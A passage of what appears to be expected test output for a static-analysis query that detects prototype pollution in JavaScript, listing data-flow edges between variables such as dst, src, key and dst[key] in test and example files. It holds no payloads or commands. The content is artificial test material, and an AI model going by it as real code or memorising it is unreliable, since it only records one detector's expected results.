PrototypePollutionUtility/tests.js:466:30:466:32 | dst | -| PrototypePollutionUtility/tests.js:458:26:458:28 | dst | PrototypePollutionUtility/tests.js:466:30:466:32 | dst | -| PrototypePollutionUtility/tests.js:458:26:458:28 | dst | PrototypePollutionUtility/tests.js:466:30:466:32 | dst | -| PrototypePollutionUtility/tests.js:458:26:458:28 | dst | PrototypePollutionUtility/tests.js:467:30:467:32 | dst | -| PrototypePollutionUtility/tests.js:458:26:458:28 | dst | PrototypePollutionUtility/tests.js:467:30:467:32 | dst | -| PrototypePollutionUtility/tests.js:458:26:458:28 | dst | PrototypePollutionUtility/tests.js:467:30:467:32 | dst | -| PrototypePollutionUtility/tests.js:458:26:458:28 | dst | PrototypePollutionUtility/tests.js:467:30:467:32 | dst | -| PrototypePollutionUtility/tests.js:458:31:458:33 | src | PrototypePollutionUtility/tests.js:462:39:462:41 | src | -| PrototypePollutionUtility/tests.js:458:31:458:33 | src | PrototypePollutionUtility/tests.js:462:39:462:41 | src | -| PrototypePollutionUtility/tests.js:458:31:458:33 | src | PrototypePollutionUtility/tests.js:465:41:465:43 | src | -| PrototypePollutionUtility/tests.js:458:31:458:33 | src | PrototypePollutionUtility/tests.js:465:41:465:43 | src | -| PrototypePollutionUtility/tests.js:460:18:460:22 | value | PrototypePollutionUtility/tests.js:467:41:467:45 | value | -| PrototypePollutionUtility/tests.js:460:18:460:22 | value | PrototypePollutionUtility/tests.js:467:41:467:45 | value | -| PrototypePollutionUtility/tests.js:460:18:460:22 | value | PrototypePollutionUtility/tests.js:467:41:467:45 | value | -| PrototypePollutionUtility/tests.js:460:18:460:22 | value | PrototypePollutionUtility/tests.js:467:41:467:45 | value | -| PrototypePollutionUtility/tests.js:460:18:460:22 | value | PrototypePollutionUtility/tests.js:467:41:467:45 | value | -| PrototypePollutionUtility/tests.js:460:18:460:22 | value | PrototypePollutionUtility/tests.js:467:41:467:45 | value | -| PrototypePollutionUtility/tests.js:460:18:460:22 | value | PrototypePollutionUtility/tests.js:467:41:467:45 | value | -| PrototypePollutionUtility/tests.js:460:25:460:27 | key | PrototypePollutionUtility/tests.js:462:33:462:35 | key | -| PrototypePollutionUtility/tests.js:460:25:460:27 | key | PrototypePollutionUtility/tests.js:462:33:462:35 | key | -| PrototypePollutionUtility/tests.js:460:25:460:27 | key | PrototypePollutionUtility/tests.js:462:33:462:35 | key | -| PrototypePollutionUtility/tests.js:460:25:460:27 | key | PrototypePollutionUtility/tests.js:462:33:462:35 | key | -| PrototypePollutionUtility/tests.js:460:25:460:27 | key | PrototypePollutionUtility/tests.js:462:43:462:45 | key | -| PrototypePollutionUtility/tests.js:460:25:460:27 | key | PrototypePollutionUtility/tests.js:462:43:462:45 | key | -| PrototypePollutionUtility/tests.js:460:25:460:27 | key | PrototypePollutionUtility/tests.js:462:43:462:45 | key | -| PrototypePollutionUtility/tests.js:460:25:460:27 | key | PrototypePollutionUtility/tests.js:462:43:462:45 | key | -| PrototypePollutionUtility/tests.js:460:25:460:27 | key | PrototypePollutionUtility/tests.js:465:34:465:36 | key | -| PrototypePollutionUtility/tests.js:460:25:460:27 | key | PrototypePollutionUtility/tests.js:465:34:465:36 | key | -| PrototypePollutionUtility/tests.js:460:25:460:27 | key | PrototypePollutionUtility/tests.js:465:34:465:36 | key | -| PrototypePollutionUtility/tests.js:460:25:460:27 | key | PrototypePollutionUtility/tests.js:465:34:465:36 | key | -| PrototypePollutionUtility/tests.js:460:25:460:27 | key | PrototypePollutionUtility/tests.js:465:34:465:36 | key | -| PrototypePollutionUtility/tests.js:460:25:460:27 | key | PrototypePollutionUtility/tests.js:465:34:465:36 | key | -| PrototypePollutionUtility/tests.js:460:25:460:27 | key | PrototypePollutionUtility/tests.js:465:34:465:36 | key | -| PrototypePollutionUtility/tests.js:460:25:460:27 | key | PrototypePollutionUtility/tests.js:465:45:465:47 | key | -| PrototypePollutionUtility/tests.js:460:25:460:27 | key | PrototypePollutionUtility/tests.js:465:45:465:47 | key | -| PrototypePollutionUtility/tests.js:460:25:460:27 | key | PrototypePollutionUtility/tests.js:465:45:465:47 | key | -| PrototypePollutionUtility/tests.js:460:25:460:27 | key | PrototypePollutionUtility/tests.js:465:45:465:47 | key | -| PrototypePollutionUtility/tests.js:460:25:460:27 | key | PrototypePollutionUtility/tests.js:466:34:466:36 | key | -| PrototypePollutionUtility/tests.js:460:25:460:27 | key | PrototypePollutionUtility/tests.js:466:34:466:36 | key | -| PrototypePollutionUtility/tests.js:460:25:460:27 | key | PrototypePollutionUtility/tests.js:466:34:466:36 | key | -| PrototypePollutionUtility/tests.js:460:25:460:27 | key | PrototypePollutionUtility/tests.js:466:34:466:36 | key | -| PrototypePollutionUtility/tests.js:460:25:460:27 | key | PrototypePollutionUtility/tests.js:466:34:466:36 | key | -| PrototypePollutionUtility/tests.js:460:25:460:27 | key | PrototypePollutionUtility/tests.js:466:34:466:36 | key | -| PrototypePollutionUtility/tests.js:460:25:460:27 | key | PrototypePollutionUtility/tests.js:466:34:466:36 | key | -| PrototypePollutionUtility/tests.js:460:25:460:27 | key | PrototypePollutionUtility/tests.js:466:43:466:45 | key | -| PrototypePollutionUtility/tests.js:460:25:460:27 | key | PrototypePollutionUtility/tests.js:466:43:466:45 | key | -| PrototypePollutionUtility/tests.js:460:25:460:27 | key | PrototypePollutionUtility/tests.js:466:43:466:45 | key | -| PrototypePollutionUtility/tests.js:460:25:460:27 | key | PrototypePollutionUtility/tests.js:466:43:466:45 | key | -| PrototypePollutionUtility/tests.js:460:25:460:27 | key | PrototypePollutionUtility/tests.js:467:34:467:36 | key | -| PrototypePollutionUtility/tests.js:460:25:460:27 | key | PrototypePollutionUtility/tests.js:467:34:467:36 | key | -| PrototypePollutionUtility/tests.js:460:25:460:27 | key | PrototypePollutionUtility/tests.js:467:34:467:36 | key | -| PrototypePollutionUtility/tests.js:460:25:460:27 | key | PrototypePollutionUtility/tests.js:467:34:467:36 | key | -| PrototypePollutionUtility/tests.js:460:25:460:27 | key | PrototypePollutionUtility/tests.js:467:34:467:36 | key | -| PrototypePollutionUtility/tests.js:460:25:460:27 | key | PrototypePollutionUtility/tests.js:467:34:467:36 | key | -| PrototypePollutionUtility/tests.js:460:25:460:27 | key | PrototypePollutionUtility/tests.js:467:34:467:36 | key | -| PrototypePollutionUtility/tests.js:462:29:462:31 | dst | PrototypePollutionUtility/tests.js:462:29:462:36 | dst[key] | -| PrototypePollutionUtility/tests.js:462:29:462:31 | dst | PrototypePollutionUtility/tests.js:462:29:462:36 | dst[key] | -| PrototypePollutionUtility/tests.js:462:29:462:36 | dst[key] | PrototypePollutionUtility/tests.js:458:26:458:28 | dst | -| PrototypePollutionUtility/tests.js:462:29:462:36 | dst[key] | PrototypePollutionUtility/tests.js:458:26:458:28 | dst | -| PrototypePollutionUtility/tests.js:462:29:462:36 | dst[key] | PrototypePollutionUtility/tests.js:458:26:458:28 | dst | -| PrototypePollutionUtility/tests.js:462:29:462:36 | dst[key] | PrototypePollutionUtility/tests.js:458:26:458:28 | dst | -| PrototypePollutionUtility/tests.js:462:33:462:35 | key | PrototypePollutionUtility/tests.js:462:29:462:36 | dst[key] | -| PrototypePollutionUtility/tests.js:462:33:462:35 | key | PrototypePollutionUtility/tests.js:462:29:462:36 | dst[key] | -| PrototypePollutionUtility/tests.js:462:39:462:41 | src | PrototypePollutionUtility/tests.js:462:39:462:46 | src[key] | -| PrototypePollutionUtility/tests.js:462:39:462:41 | src | PrototypePollutionUtility/tests.js:462:39:462:46 | src[key] | -| PrototypePollutionUtility/tests.js:462:39:462:46 | src[key] | PrototypePollutionUtility/tests.js:458:31:458:33 | src | -| PrototypePollutionUtility/tests.js:462:39:462:46 | src[key] | PrototypePollutionUtility/tests.js:458:31:458:33 | src | -| PrototypePollutionUtility/tests.js:462:39:462:46 | src[key] | PrototypePollutionUtility/tests.js:458:31:458:33 | src | -| PrototypePollutionUtility/tests.js:462:39:462:46 | src[key] | PrototypePollutionUtility/tests.js:458:31:458:33 | src | -| PrototypePollutionUtility/tests.js:462:39:462:46 | src[key] | PrototypePollutionUtility/tests.js:458:31:458:33 | src | -| PrototypePollutionUtility/tests.js:462:39:462:46 | src[key] | PrototypePollutionUtility/tests.js:458:31:458:33 | src | -| PrototypePollutionUtility/tests.js:462:43:462:45 | key | PrototypePollutionUtility/tests.js:462:39:462:46 | src[key] | -| PrototypePollutionUtility/tests.js:462:43:462:45 | key | PrototypePollutionUtility/tests.js:462:39:462:46 | src[key] | -| PrototypePollutionUtility/tests.js:465:41:465:43 | src | PrototypePollutionUtility/tests.js:465:41:465:48 | src[key] | -| PrototypePollutionUtility/tests.js:465:41:465:43 | src | PrototypePollutionUtility/tests.js:465:41:465:48 | src[key] | -| PrototypePollutionUtility/tests.js:465:41:465:43 | src | PrototypePollutionUtility/tests.js:465:41:465:48 | src[key] | -| PrototypePollutionUtility/tests.js:465:41:465:43 | src | PrototypePollutionUtility/tests.js:465:41:465:48 | src[key] | -| PrototypePollutionUtility/tests.js:465:41:465:48 | src[key] | PrototypePollutionUtility/tests.js:465:41:465:48 | src[key] | -| PrototypePollutionUtility/tests.js:465:45:465:47 | key | PrototypePollutionUtility/tests.js:465:41:465:48 | src[key] | -| PrototypePollutionUtility/tests.js:465:45:465:47 | key | PrototypePollutionUtility/tests.js:465:41:465:48 | src[key] | -| PrototypePollutionUtility/tests.js:465:45:465:47 | key | PrototypePollutionUtility/tests.js:465:41:465:48 | src[key] | -| PrototypePollutionUtility/tests.js:465:45:465:47 | key | PrototypePollutionUtility/tests.js:465:41:465:48 | src[key] | -| PrototypePollutionUtility/tests.js:466:41:466:46 | o[key] | PrototypePollutionUtility/tests.js:466:41:466:46 | o[key] | -| PrototypePollutionUtility/tests.js:466:43:466:45 | key | PrototypePollutionUtility/tests.js:466:41:466:46 | o[key] | -| PrototypePollutionUtility/tests.js:466:43:466:45 | key | PrototypePollutionUtility/tests.js:466:41:466:46 | o[key] | -| PrototypePollutionUtility/tests.js:466:43:466:45 | key | PrototypePollutionUtility/tests.js:466:41:466:46 | o[key] | -| PrototypePollutionUtility/tests.js:466:43:466:45 | key | PrototypePollutionUtility/tests.js:466:41:466:46 | o[key] | -| PrototypePollutionUtility/tests.js:472:38:472:40 | dst | PrototypePollutionUtility/tests.js:475:41:475:43 | dst | -| PrototypePollutionUtility/tests.js:472:38:472:40 | dst | PrototypePollutionUtility/tests.js:475:41:475:43 | dst | -| PrototypePollutionUtility/tests.js:472:38:472:40 | dst | PrototypePollutionUtility/tests.js:477:13:477:15 | dst | -| PrototypePollutionUtility/tests.js:472:38:472:40 | dst | PrototypePollutionUtility/tests.js:477:13:477:15 | dst | -| PrototypePollutionUtility/tests.js:472:38:472:40 | dst | PrototypePollutionUtility/tests.js:477:13:477:15 | dst | -| PrototypePollutionUtility/tests.js:472:38:472:40 | dst | PrototypePollutionUtility/tests.js:477:13:477:15 | dst | -| PrototypePollutionUtility/tests.js:473:18:473:22 | value | PrototypePollutionUtility/tests.js:477:24:477:28 | value | -| PrototypePollutionUtility/tests.js:473:18:473:22 | value | PrototypePollutionUtility/tests.js:477:24:477:28 | value | -| PrototypePollutionUtility/tests.js:473:18:473:22 | value | PrototypePollutionUtility/tests.js:477:24:477:28 | value | -| PrototypePollutionUtility/tests.js:473:18:473:22 | value | PrototypePollutionUtility/tests.js:477:24:477:28 | value | -| PrototypePollutionUtility/tests.js:473:18:473:22 | value | PrototypePollutionUtility/tests.js:477:24:477:28 | value | -| PrototypePollutionUtility/tests.js:473:18:473:22 | value | PrototypePollutionUtility/tests.js:477:24:477:28 | value | -| PrototypePollutionUtility/tests.js:473:18:473:22 | value | PrototypePollutionUtility/tests.js:477:24:477:28 | value | -| PrototypePollutionUtility/tests.js:473:25:473:27 | key | PrototypePollutionUtility/tests.js:475:45:475:47 | key | -| PrototypePollutionUtility/tests.js:473:25:473:27 | key | PrototypePollutionUtility/tests.js:475:45:475:47 | key | -| PrototypePollutionUtility/tests.js:473:25:473:27 | key | PrototypePollutionUtility/tests.js:475:45:475:47 | key | -| PrototypePollutionUtility/tests.js:473:25:473:27 | key | PrototypePollutionUtility/tests.js:475:45:475:47 | key | -| PrototypePollutionUtility/tests.js:473:25:473:27 | key | PrototypePollutionUtility/tests.js:477:17:477:19 | key | -| PrototypePollutionUtility/tests.js:473:25:473:27 | key | PrototypePollutionUtility/tests.js:477:17:477:19 | key | -| PrototypePollutionUtility/tests.js:473:25:473:27 | key | PrototypePollutionUtility/tests.js:477:17:477:19 | key | -| PrototypePollutionUtility/tests.js:473:25:473:27 | key | PrototypePollutionUtility/tests.js:477:17:477:19 | key | -| PrototypePollutionUtility/tests.js:473:25:473:27 | key | PrototypePollutionUtility/tests.js:477:17:477:19 | key | -| PrototypePollutionUtility/tests.js:473:25:473:27 | key | PrototypePollutionUtility/tests.js:477:17:477:19 | key | -| PrototypePollutionUtility/tests.js:473:25:473:27 | key | PrototypePollutionUtility/tests.js:477:17:477:19 | key | -| PrototypePollutionUtility/tests.js:475:41:475:43 | dst | PrototypePollutionUtility/tests.js:475:41:475:48 | dst[key] | -| PrototypePollutionUtility/tests.js:475:41:475:43 | dst | PrototypePollutionUtility/tests.js:475:41:475:48 | dst[key] | -| PrototypePollutionUtility/tests.js:475:41:475:48 | dst[key] | PrototypePollutionUtility/tests.js:472:38:472:40 | dst | -| PrototypePollutionUtility/tests.js:475:41:475:48 | dst[key] | PrototypePollutionUtility/tests.js:472:38:472:40 | dst | -| PrototypePollutionUtility/tests.js:475:41:475:48 | dst[key] | PrototypePollutionUtility/tests.js:472:38:472:40 | dst | -| PrototypePollutionUtility/tests.js:475:41:475:48 | dst[key] | PrototypePollutionUtility/tests.js:472:38:472:40 | dst | -| PrototypePollutionUtility/tests.js:475:45:475:47 | key | PrototypePollutionUtility/tests.js:475:41:475:48 | dst[key] | -| PrototypePollutionUtility/tests.js:475:45:475:47 | key | PrototypePollutionUtility/tests.js:475:41:475:48 | dst[key] | -| PrototypePollutionUtility/tests.js:483:26:483:28 | dst | PrototypePollutionUtility/tests.js:487:29:487:31 | dst | -| PrototypePollutionUtility/tests.js:483:26:483:28 | dst | PrototypePollutionUtility/tests.js:489:13:489:15 | dst | -| PrototypePollutionUtility/tests.js:483:26:483:28 | dst | PrototypePollutionUtility/tests.js:489:13:489:15 | dst | -| PrototypePollutionUtility/tests.js:483:31:483:33 | src | PrototypePollutionUtility/tests.js:487:39:487:41 | src | -| PrototypePollutionUtility/tests.js:483:31:483:33 | src | PrototypePollutionUtility/tests.js:489:24:489:26 | src | -| PrototypePollutionUtility/tests.js:483:31:483:33 | src | PrototypePollutionUtility/tests.js:489:24:489:26 | src | -| PrototypePollutionUtility/tests.js:484:14:484:16 | key | PrototypePollutionUtility/tests.js:487:33:487:35 | key | -| PrototypePollutionUtility/tests.js:484:14:484:16 | key | PrototypePollutionUtility/tests.js:487:33:487:35 | key | -| PrototypePollutionUtility/tests.js:484:14:484:16 | key | PrototypePollutionUtility/tests.js:487:43:487:45 | key | -| PrototypePollutionUtility/tests.js:484:14:484:16 | key | PrototypePollutionUtility/tests.js:487:43:487:45 | key | -| PrototypePollutionUtility/tests.js:484:14:484:16 | key | PrototypePollutionUtility/tests.js:489:17:489:19 | key | -| PrototypePollutionUtility/tests.js:484:14:484:16 | key | PrototypePollutionUtility/tests.js:489:17:489:19 | key | -| PrototypePollutionUtility/tests.js:484:14:484:16 | key | PrototypePollutionUtility/tests.js:489:17:489:19 | key | -| PrototypePollutionUtility/tests.js:484:14:484:16 | key | PrototypePollutionUtility/tests.js:489:17:489:19 | key | -| PrototypePollutionUtility/tests.js:484:14:484:16 | key | PrototypePollutionUtility/tests.js:489:28:489:30 | key | -| PrototypePollutionUtility/tests.js:484:14:484:16 | key | PrototypePollutionUtility/tests.js:489:28:489:30 | key | -| PrototypePollutionUtility/tests.js:487:29:487:31 | dst | PrototypePollutionUtility/tests.js:487:29:487:36 | dst[key] | -| PrototypePollutionUtility/tests.js:487:29:487:36 | dst[key] | PrototypePollutionUtility/tests.js:483:26:483:28 | dst | -| PrototypePollutionUtility/tests.js:487:29:487:36 | dst[key] | PrototypePollutionUtility/tests.js:483:26:483:28 | dst | -| PrototypePollutionUtility/tests.js:487:33:487:35 | key | PrototypePollutionUtility/tests.js:487:29:487:36 | dst[key] | -| PrototypePollutionUtility/tests.js:487:39:487:41 | src | PrototypePollutionUtility/tests.js:487:39:487:46 | src[key] | -| PrototypePollutionUtility/tests.js:487:39:487:46 | src[key] | PrototypePollutionUtility/tests.js:483:31:483:33 | src | -| PrototypePollutionUtility/tests.js:487:39:487:46 | src[key] | PrototypePollutionUtility/tests.js:483:31:483:33 | src | -| PrototypePollutionUtility/tests.js:487:39:487:46 | src[key] | PrototypePollutionUtility/tests.js:483:31:483:33 | src | -| PrototypePollutionUtility/tests.js:487:39:487:46 | src[key] | PrototypePollutionUtility/tests.js:483:31:483:33 | src | -| PrototypePollutionUtility/tests.js:487:39:487:46 | src[key] | PrototypePollutionUtility/tests.js:483:31:483:33 | src | -| PrototypePollutionUtility/tests.js:487:43:487:45 | key | PrototypePollutionUtility/tests.js:487:39:487:46 | src[key] | -| PrototypePollutionUtility/tests.js:489:24:489:26 | src | PrototypePollutionUtility/tests.js:489:24:489:31 | src[key] | -| PrototypePollutionUtility/tests.js:489:24:489:26 | src | PrototypePollutionUtility/tests.js:489:24:489:31 | src[key] | -| PrototypePollutionUtility/tests.js:489:24:489:26 | src | PrototypePollutionUtility/tests.js:489:24:489:31 | src[key] | -| PrototypePollutionUtility/tests.js:489:24:489:26 | src | PrototypePollutionUtility/tests.js:489:24:489:31 | src[key] | -| PrototypePollutionUtility/tests.js:489:24:489:31 | src[key] | PrototypePollutionUtility/tests.js:489:24:489:31 | src[key] | -| PrototypePollutionUtility/tests.js:489:28:489:30 | key | PrototypePollutionUtility/tests.js:489:24:489:31 | src[key] | -| PrototypePollutionUtility/tests.js:489:28:489:30 | key | PrototypePollutionUtility/tests.js:489:24:489:31 | src[key] | -| PrototypePollutionUtility/tests.js:494:32:494:34 | src | PrototypePollutionUtility/tests.js:498:21:498:23 | src | -| PrototypePollutionUtility/tests.js:495:14:495:16 | key | PrototypePollutionUtility/tests.js:498:25:498:27 | key | -| PrototypePollutionUtility/tests.js:495:14:495:16 | key | PrototypePollutionUtility/tests.js:498:25:498:27 | key | -| PrototypePollutionUtility/tests.js:495:14:495:16 | key | PrototypePollutionUtility/tests.js:502:17:502:19 | key | -| PrototypePollutionUtility/tests.js:495:14:495:16 | key | PrototypePollutionUtility/tests.js:502:17:502:19 | key | -| PrototypePollutionUtility/tests.js:495:14:495:16 | key | PrototypePollutionUtility/tests.js:502:17:502:19 | key | -| PrototypePollutionUtility/tests.js:495:14:495:16 | key | PrototypePollutionUtility/tests.js:502:17:502:19 | key | -| PrototypePollutionUtility/tests.js:498:13:498:28 | value | PrototypePollutionUtility/tests.js:500:38:500:42 | value | -| PrototypePollutionUtility/tests.js:498:13:498:28 | value | PrototypePollutionUtility/tests.js:500:38:500:42 | value | -| PrototypePollutionUtility/tests.js:498:13:498:28 | value | PrototypePollutionUtility/tests.js:502:24:502:28 | value | -| PrototypePollutionUtility/tests.js:498:13:498:28 | value | PrototypePollutionUtility/tests.js:502:24:502:28 | value | -| PrototypePollutionUtility/tests.js:498:13:498:28 | value | PrototypePollutionUtility/tests.js:502:24:502:28 | value | -| PrototypePollutionUtility/tests.js:498:13:498:28 | value | PrototypePollutionUtility/tests.js:502:24:502:28 | value | -| PrototypePollutionUtility/tests.js:498:13:498:28 | value | PrototypePollutionUtility/tests.js:502:24:502:28 | value | -| PrototypePollutionUtility/tests.js:498:13:498:28 | value | PrototypePollutionUtility/tests.js:502:24:502:28 | value | -| PrototypePollutionUtility/tests.js:498:21:498:23 | src | PrototypePollutionUtility/tests.js:498:21:498:28 | src[key] | -| PrototypePollutionUtility/tests.js:498:21:498:28 | src[key] | PrototypePollutionUtility/tests.js:498:13:498:28 | value | -| PrototypePollutionUtility/tests.js:498:21:498:28 | src[key] | PrototypePollutionUtility/tests.js:498:13:498:28 | value | -| PrototypePollutionUtility/tests.js:498:21:498:28 | src[key] | PrototypePollutionUtility/tests.js:498:13:498:28 | value | -| PrototypePollutionUtility/tests.js:498:21:498:28 | src[key] | PrototypePollutionUtility/tests.js:498:13:498:28 | value | -| PrototypePollutionUtility/tests.js:498:21:498:28 | src[key] | PrototypePollutionUtility/tests.js:498:13:498:28 | value | -| PrototypePollutionUtility/tests.js:498:25:498:27 | key | PrototypePollutionUtility/tests.js:498:21:498:28 | src[key] | -| PrototypePollutionUtility/tests.js:500:38:500:42 | value | PrototypePollutionUtility/tests.js:494:32:494:34 | src | -| PrototypePollutionUtility/tests.js:500:38:500:42 | value | PrototypePollutionUtility/tests.js:494:32:494:34 | src | -| examples/PrototypePollutionUtility.js:1:16:1:18 | dst | examples/PrototypePollutionUtility.js:5:19:5:21 | dst | -| examples/PrototypePollutionUtility.js:1:16:1:18 | dst | examples/PrototypePollutionUtility.js:5:19:5:21 | dst | -| examples/PrototypePollutionUtility.js:1:16:1:18 | dst | examples/PrototypePollutionUtility.js:7:13:7:15 | dst | -| examples/PrototypePollutionUtility.js:1:16:1:18 | dst | examples/PrototypePollutionUtility.js:7:13:7:15 | dst | -| examples/PrototypePollutionUtility.js:1:16:1:18 | dst | examples/PrototypePollutionUtility.js:7:13:7:15 | dst | -| examples/PrototypePollutionUtility.js:1:16:1:18 | dst | examples/PrototypePollutionUtility.js:7:13:7:15 | dst | -| examples/PrototypePollutionUtility.js:1:21:1:23 | src | examples/PrototypePollutionUtility.js:5:29:5:31 | src | -| examples/PrototypePollutionUtility.js:1:21:1:23 | src | examples/PrototypePollutionUtility.js:5:29:5:31 | src | -| examples/PrototypePollutionUtility.js:1:21:1:23 | src | examples/PrototypePollutionUtility.js:7:24:7:26 | src | -| examples/PrototypePollutionUtility.js:1:21:1:23 | src | examples/PrototypePollutionUtility.js:7:24:7:26 | src | -| examples/PrototypePollutionUtility.js:2:14:2:16 | key | examples/PrototypePollutionUtility.js:5:23:5:25 | key | -| examples/PrototypePollutionUtility.js:2:14:2:16 | key | examples/PrototypePollutionUtility.js:5:23:5:25 | key | -| examples/PrototypePollutionUtility.js:2:14:2:16 | key | examples/PrototypePollutionUtility.js:5:23:5:25 | key | -| examples/PrototypePollutionUtility.js:2:14:2:16 | key | examples/PrototypePollutionUtility.js:5:23:5:25 | key | -| examples/PrototypePollutionUtility.js:2:14:2:16 | key | examples/PrototypePollutionUtility.js:5:33:5:35 | key | -| examples/PrototypePollutionUtility.js:2:14:2:16 | key | examples/PrototypePollutionUtility.js:5:33:5:35 | key | -| examples/PrototypePollutionUtility.js:2:14:2:16 | key | examples/PrototypePollutionUtility.js:5:33:5:35 | key | -| examples/PrototypePollutionUtility.js:2:14:2:16 | key | examples/PrototypePollutionUtility.js:5:33:5:35 | key | -| examples/PrototypePollutionUtility.js:2:14:2:16 | key | examples/PrototypePollutionUtility.js:7:17:7:19 | key | -| examples/PrototypePollutionUtility.js:2:14:2:16 | key | examples/PrototypePollutionUtility.js:7:17:7:19 | key | -| examples/PrototypePollutionUtility.js:2:14:2:16 | key | examples/PrototypePollutionUtility.js:7:17:7:19 | key | -| examples/PrototypePollutionUtility.js:2:14:2:16 | key | examples/PrototypePollutionUtility.js:7:17:7:19 | key | -| examples/PrototypePollutionUtility.js:2:14:2:16 | key | examples/PrototypePollutionUtility.js:7:17:7:19 | key | -| examples/PrototypePollutionUtility.js:2:14:2:16 | key | examples/PrototypePollutionUtility.js:7:17:7:19 | key | -| examples/PrototypePollutionUtility.js:2:14:2:16 | key | examples/PrototypePollutionUtility.js:7:17:7:19 | key | -| examples/PrototypePollutionUtility.js:2:14:2:16 | key | examples/PrototypePollutionUtility.js:7:28:7:30 | key | -| examples/PrototypePollutionUtility.js:2:14:2:16 | key | examples/PrototypePollutionUtility.js:7:28:7:30 | key | -| examples/PrototypePollutionUtility.js:2:14:2:16 | key | examples/PrototypePollutionUtility.js:7:28:7:30 | key | -| examples/PrototypePollutionUtility.js:2:14:2:16 | key | examples/PrototypePollutionUtility.js:7:28:7:30 | key | -| examples/PrototypePollutionUtility.js:5:19:5:21 | dst | examples/PrototypePollutionUtility.js:5:19:5:26 | dst[key] | -| examples/PrototypePollutionUtility.js:5:19:5:21 | dst | examples/PrototypePollutionUtility.js:5:19:5:26 | dst[key] | -| examples/PrototypePollutionUtility.js:5:19:5:26 | dst[key] | examples/PrototypePollutionUtility.js:1:16:1:18 | dst | -| examples/PrototypePollutionUtility.js:5:19:5:26 | dst[key] | examples/PrototypePollutionUtility.js:1:16:1:18 | dst | -| examples/PrototypePollutionUtility.js:5:19:5:26 | dst[key] | examples/PrototypePollutionUtility.js:1:16:1:18 | dst | -| examples/PrototypePollutionUtility.js:5:19:5:26 | dst[key] | examples/PrototypePollutionUtility.js:1:16:1:18 | dst | -| examples/PrototypePollutionUtility.js:5:23:5:25 | key | examples/PrototypePollutionUtility.js:5:19:5:26 | dst[key] | -| examples/PrototypePollutionUtility.js:5:23:5:25 | key | examples/PrototypePollutionUtility.js:5:19:5:26 | dst[key] | -| examples/PrototypePollutionUtility.js:5:29:5:31 | src | examples/PrototypePollutionUtility.js:5:29:5:36 | src[key] | -| examples/PrototypePollutionUtility.js:5:29:5:31 | src | examples/PrototypePollutionUtility.js:5:29:5:36 | src[key] | -| examples/PrototypePollutionUtility.js:5:29:5:36 | src[key] | examples/PrototypePollutionUtility.js:1:21:1:23 | src | -| examples/PrototypePollutionUtility.js:5:29:5:36 | src[key] | examples/PrototypePollutionUtility.js:1:21:1:23 | src | -| examples/PrototypePollutionUtility.js:5:29:5:36 | src[key] | examples/PrototypePollutionUtility.js:1:21:1:23 | src | -| examples/PrototypePollutionUtility.js:5:29:5:36 | src[key] | examples/PrototypePollutionUtility.js:1:21:1:23 | src | -| examples/PrototypePollutionUtility.js:5:29:5:36 | src[key] | examples/PrototypePollutionUtility.js:1:21:1:23 | src | -| examples/PrototypePollutionUtility.js:5:29:5:36 | src[key] | examples/PrototypePollutionUtility.js:1:21:1:23 | src | -| examples/PrototypePollutionUtility.js:5:33:5:35 | key | examples/PrototypePollutionUtility.js:5:29:5:36 | src[key] | -| examples/PrototypePollutionUtility.js:5:33:5:35 | key | examples/PrototypePollutionUtility.js:5:29:5:36 | src[key] | -| examples/PrototypePollutionUtility.js:7:24:7:26 | src | examples/PrototypePollutionUtility.js:7:24:7:31 | src[key] | -| examples/PrototypePollutionUtility.js:7:24:7:26 | src | examples/PrototypePollutionUtility.js:7:24:7:31 | src[key] | -| examples/PrototypePollutionUtility.js:7:24:7:26 | src | examples/PrototypePollutionUtility.js:7:24:7:31 | src[key] | -| examples/PrototypePollutionUtility.js:7:24:7:26 | src | examples/PrototypePollutionUtility.js:7:24:7:31 | src[key] | -| examples/PrototypePollutionUtility.js:7:24:7:31 | src[key] | examples/PrototypePollutionUtility.js:7:24:7:31 | src[key] | -| examples/PrototypePollutionUtility.js:7:28:7:30 | key | examples/PrototypePollutionUtility.js:7:24:7:31 | src[key] | -| examples/PrototypePollutionUtility.js:7:28:7:30 | key | examples/PrototypePollutionUtility.js:7:24:7:31 | src[key] | -| examples/PrototypePollutionUtility.js:7:28:7:30 | key | examples/PrototypePollutionUtility.js:7:24:7:31 | src[key] | -| examples/PrototypePollutionUtility.js:7:28:7:30 | key | examples/PrototypePollutionUtility.js:7:24:7:31 | src[key] | -| examples/PrototypePollutionUtility_fixed2.js:1:21:1:23 | src | examples/PrototypePollutionUtility_fixed2.js:6:29:6:31 | src | -| examples/PrototypePollutionUtility_fixed2.js:1:21:1:23 | src | examples/PrototypePollutionUtility_fixed2.js:6:29:6:31 | src | -| examples/PrototypePollutionUtility_fixed2.js:1:21:1:23 | src | examples/PrototypePollutionUtility_fixed2.js:8:24:8:26 | src | -| examples/PrototypePollutionUtility_fixed2.js:1:21:1:23 | src | examples/PrototypePollutionUtility_fixed2.js:8:24:8:26 | src | -| examples/PrototypePollutionUtility_fixed2.js:6:29:6:31 | src | examples/PrototypePollutionUtility_fixed2.js:6:29:6:36 | src[key] | -| examples/PrototypePollutionUtility_fixed2.js:6:29:6:31 | src | examples/PrototypePollutionUtility_fixed2.js:6:29:6:36 | src[key] | -| examples/PrototypePollutionUtility_fixed2.js:6:29:6:36 | src[key] | examples/PrototypePollutionUtility_fixed2.js:1:21:1:23 | src | -| examples/PrototypePollutionUtility_fixed2.js:6:29:6:36 | src[key] | examples/PrototypePollutionUtility_fixed2.js:1:21:1:23 | src | -| examples/PrototypePollutionUtility_fixed2.js:6:29:6:36 | src[key] | examples/PrototypePollutionUtility_fixed2.js:1:21:1:23 | src | -| examples/PrototypePollutionUtility_fixed2.js:6:29:6:36 | src[key] | examples/PrototypePollutionUtility_fixed2.js:1:21:1:23 | src | -| examples/PrototypePollutionUtility_fixed2.js:6:29:6:36 | src[key] | examples/PrototypePollutionUtility_fixed2.js:1:21:1:23 | src | -| examples/PrototypePollutionUtility_fixed2.js:6:29:6:36 | src[key] | examples/PrototypePollutionUtility_fixed2.js:1:21:1:23 | src | -| examples/PrototypePollutionUtility_fixed2.js:8:24:8:26 | src | examples/PrototypePollutionUtility_fixed2.js:8:24:8:31 | src[key] | -| examples/PrototypePollutionUtility_fixed2.js:8:24:8:26 | src | examples/PrototypePollutionUtility_fixed2.js:8:24:8:31 | src[key] | -| examples/PrototypePollutionUtility_fixed2.js:8:24:8:26 | src | examples/PrototypePollutionUtility_fixed2.js:8:24:8:31 | src[key] | -| examples/PrototypePollutionUtility_fixed2.js:8:24:8:26 | src | examples/PrototypePollutionUtility_fixed2.js:8:24:8:31 | src[key] | -| 